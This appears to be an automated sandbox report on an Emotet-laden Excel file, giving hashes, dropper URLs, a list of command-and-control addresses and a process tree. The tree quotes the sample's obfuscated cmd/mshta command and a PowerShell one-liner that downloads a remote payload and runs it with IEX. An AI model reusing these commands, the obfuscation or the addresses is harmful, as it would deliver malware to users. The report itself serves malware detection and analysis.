Analysis

  • max time kernel
    152s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18-01-2022 20:46

General

  • Target

    95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294.xls

  • Size

    142KB

  • MD5

    0c890caa5574298838e2463f2a9eec1f

  • SHA1

    84616f046e7b29279d4a5af740b8524cd1b02a6e

  • SHA256

    95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294

  • SHA512

    d7ca540e210ad4d7efdb9061a2915e2a790cff59ebf69f21f79540c0ab62c4b1bc16b51cc6a5f408a0f49544a6b15c2461a1f3a59385d7574c1f858b6ce44d03

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/ve/ve.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/ve/ve.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Windows\system32\mshta.exe
        mshta http://185.7.214.7/ve/ve.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/ve/ve.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4036
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1796
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2052
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2200
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vtewm\fezh.cgu",OBVMzgsX
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3548
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vtewm\fezh.cgu",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1216
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3772 -s 1660
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1236

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1216-618-0x0000000000B40000-0x0000000000B66000-memory.dmp

    Filesize

    152KB

  • memory/2052-601-0x0000000003060000-0x0000000003086000-memory.dmp

    Filesize

    152KB

  • memory/2200-617-0x0000000005400000-0x0000000005426000-memory.dmp

    Filesize

    152KB

  • memory/2200-613-0x00000000052A0000-0x00000000052C6000-memory.dmp

    Filesize

    152KB

  • memory/2200-611-0x0000000005240000-0x0000000005266000-memory.dmp

    Filesize

    152KB

  • memory/2200-609-0x0000000005130000-0x0000000005156000-memory.dmp

    Filesize

    152KB

  • memory/2200-607-0x0000000005040000-0x0000000005066000-memory.dmp

    Filesize

    152KB

  • memory/2200-604-0x0000000003100000-0x0000000003126000-memory.dmp

    Filesize

    152KB

  • memory/2584-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

    Filesize

    64KB

  • memory/2584-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

    Filesize

    64KB

  • memory/2584-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

    Filesize

    64KB

  • memory/2584-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

    Filesize

    64KB

  • memory/2584-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

    Filesize

    64KB

  • memory/2584-128-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

    Filesize

    64KB

  • memory/2584-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

    Filesize

    64KB

  • memory/3548-615-0x00000000009C0000-0x00000000009E6000-memory.dmp

    Filesize

    152KB

  • memory/4036-281-0x000001A5C7BA0000-0x000001A5C7BC2000-memory.dmp

    Filesize

    136KB

  • memory/4036-284-0x000001A5C7540000-0x000001A5C75D0000-memory.dmp

    Filesize

    576KB

  • memory/4036-285-0x000001A5C7540000-0x000001A5C75D0000-memory.dmp

    Filesize

    576KB

  • memory/4036-383-0x000001A5C7540000-0x000001A5C75D0000-memory.dmp

    Filesize

    576KB

  • memory/4036-302-0x000001A5E02B0000-0x000001A5E02EC000-memory.dmp

    Filesize

    240KB

  • memory/4036-313-0x000001A5E0370000-0x000001A5E03E6000-memory.dmp

    Filesize

    472KB